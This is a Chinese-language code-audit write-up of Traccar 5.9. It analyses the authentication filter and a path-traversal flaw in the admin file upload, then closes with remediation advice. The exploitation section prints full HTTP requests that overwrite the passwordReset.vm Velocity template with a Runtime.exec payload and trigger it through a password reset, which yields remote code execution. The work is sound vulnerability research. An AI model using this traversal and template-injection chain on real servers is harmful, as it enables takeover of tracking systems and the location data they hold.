traccar代码审记小结
字数 1015 2025-08-24 07:48:10
Traccar代码审计与漏洞利用分析
1. 环境搭建
-
下载最新版本Traccar安装包:
https://github.com/traccar/traccar/releases/download/v5.9/traccar-windows-64-5.9.zip -
默认安装后从Windows服务启动Traccar
-
访问Web界面:
http://127.0.0.1:8082 -
创建第一个账号(根据官方文档,第一个创建的账号即为管理员账户)
2. 依赖分析
检查build.gradle文件中的关键依赖:
implementation "com.mysql:mysql-connector-j:8.1.0"
implementation "org.glassfish.jersey.containers:jersey-container-servlet:$jerseyVersion"
implementation "org.glassfish.jersey.media:jersey-media-json-jackson:$jerseyVersion"
implementation "org.glassfish.jersey.inject:jersey-hk2:$jerseyVersion"
implementation "org.apache.velocity:velocity-engine-core:2.3"
implementation "org.apache.velocity.tools:velocity-tools-generic:3.1"
implementation "org.apache.commons:commons-collections4:4.4"
关键点:
- MySQL版本较高(8.1.0),无法利用JDBC转RCE
- 包含Velocity模板引擎,可能存在SSTI漏洞
- Glassfish是Tomcat的完整JavaEE实现版本,使用filter做鉴权,servlet做路由
3. 鉴权机制分析
3.1 WebServer初始化
WebServer.java中的initApi方法:
private void initApi(ServletContextHandler servletHandler) {
// 媒体文件处理配置
String mediaPath = config.getString(Keys.MEDIA_PATH);
if (mediaPath != null) {
ServletHolder servletHolder = new ServletHolder(DefaultServlet.class);
servletHolder.setInitParameter("resourceBase", new File(mediaPath).getAbsolutePath());
servletHolder.setInitParameter("dirAllowed", "false");
servletHolder.setInitParameter("pathInfoOnly", "true");
servletHandler.addServlet(servletHolder, "/api/media/*");
}
// REST API配置
ResourceConfig resourceConfig = new ResourceConfig();
resourceConfig.registerClasses(
JacksonFeature.class,
ObjectMapperContextResolver.class,
DateParameterConverterProvider.class,
SecurityRequestFilter.class, // 安全过滤器
CorsResponseFilter.class,
ResourceErrorHandler.class
);
resourceConfig.packages(ServerResource.class.getPackage().getName());
servletHandler.addServlet(new ServletHolder(new ServletContainer(resourceConfig)), "/api/*");
}
3.2 安全过滤器分析
SecurityRequestFilter类实现了鉴权逻辑:
@Override
public void filter(ContainerRequestContext requestContext) {
SecurityContext securityContext = null;
try {
// 1. 检查Authorization头
String authHeader = requestContext.getHeaderString("Authorization");
if (authHeader != null) {
try {
User user;
if (authHeader.startsWith("Bearer ")) {
user = loginService.login(authHeader.substring(7));
} else {
String[] auth = decodeBasicAuth(authHeader);
user = loginService.login(auth[0], auth[1]);
}
if (user != null) {
statisticsManager.registerRequest(user.getId());
securityContext = new UserSecurityContext(new UserPrincipal(user.getId()));
}
} catch (StorageException | GeneralSecurityException | IOException e) {
throw new WebApplicationException(e);
}
}
// 2. 检查Session中的用户ID
else if (request.getSession() != null) {
Long userId = (Long) request.getSession().getAttribute(SessionResource.USER_ID_KEY);
if (userId != null) {
User user = injector.getInstance(PermissionsService.class).getUser(userId);
if (user != null) {
user.checkDisabled();
statisticsManager.registerRequest(userId);
securityContext = new UserSecurityContext(new UserPrincipal(userId));
}
}
}
} catch (SecurityException | StorageException e) {
LOGGER.warn("Authentication error", e);
}
// 3. 设置安全上下文或拒绝未授权访问
if (securityContext != null) {
requestContext.setSecurityContext(securityContext);
} else {
Method method = resourceInfo.getResourceMethod();
if (!method.isAnnotationPresent(PermitAll.class)) {
Response.ResponseBuilder responseBuilder = Response.status(Response.Status.UNAUTHORIZED);
String accept = request.getHeader("Accept");
if (accept != null && accept.contains("text/html")) {
responseBuilder.header("WWW-Authenticate", "Basic realm=\"api\"");
}
throw new WebApplicationException(responseBuilder.build());
}
}
}
关键点:
- 使用
@PermitAll注解标记不需要鉴权的方法 - 支持Bearer Token和Basic Auth两种认证方式
- 也支持Session认证
4. 漏洞分析
4.1 后台任意文件上传漏洞
发现uploadImage方法没有对文件名进行充分校验:
@Path("file/{path}")
@POST
@Consumes("*/*")
public Response uploadImage(@PathParam("path") String path, File inputFile)
throws IOException, StorageException {
// 需要管理员权限
permissionsService.checkAdmin(getUserId());
String root = config.getString(Keys.WEB_OVERRIDE, config.getString(Keys.WEB_PATH));
var outputPath = Paths.get(root, path);
var directoryPath = outputPath.getParent();
if (directoryPath != null) {
Files.createDirectories(directoryPath);
}
try (var input = new FileInputStream(inputFile);
var output = new FileOutputStream(outputPath.toFile())) {
input.transferTo(output);
}
return Response.ok().build();
}
漏洞点:
- 虽然需要管理员权限,但未对
path参数进行过滤 - 可以构造
../进行目录遍历 - 结合Velocity模板引擎可实现RCE
4.2 漏洞利用步骤
- 覆盖Velocity模板文件:
目标文件:.\templates\full\passwordReset.vm
请求示例:
POST /api/server/file/..%2ftemplates%2ffull%2fpasswordReset.vm HTTP/1.1
Host: 192.168.109.155:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: image/jpeg
Content-Length: 376
Connection: close
Cookie: JSESSIONID=Vaild_Cookie
#set($subject = "Password reset")
<!DOCTYPE html>
<html>
<body>
To reset password please click on the following link:<br>
<a href="$webUrl/reset-password?passwordReset=$token">$webUrl/reset-password?passwordReset=$token</a><br>
</body>
</html>
#set ($exp = "exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd.exe /c echo aaa > pwn.txt");
- 触发模板执行:
发送密码重置请求以触发模板执行:
POST /api/password/reset HTTP/1.1
Host: 192.168.109.155:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.109.155:8082/settings/preferences
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 18
Origin: http://192.168.109.155:8082
Connection: close
Cookie: JSESSIONID=Vaild_Cookie
email=YOUR_Login_Email
- 验证执行结果:
检查Traccar安装目录(默认在C:\Program Files\Traccar),会发现pwn.txt文件被创建。
5. 漏洞修复建议
-
对
uploadImage方法的path参数进行严格过滤:- 禁止
../等目录遍历字符 - 限制文件扩展名
- 限制文件保存路径
- 禁止
-
对Velocity模板文件进行权限控制:
- 设置模板目录为只读
- 对模板内容进行安全校验
-
加强管理员权限验证:
- 对敏感操作进行二次验证
- 记录管理员操作日志
6. 总结
通过分析发现Traccar存在以下安全问题:
- 后台任意文件上传漏洞(需要管理员权限)
- 结合Velocity模板引擎可实现RCE
- 默认安装配置可能存在安全隐患
利用链:
管理员凭证 → 文件上传 → 目录遍历 → 覆盖模板 → 触发模板执行 → RCE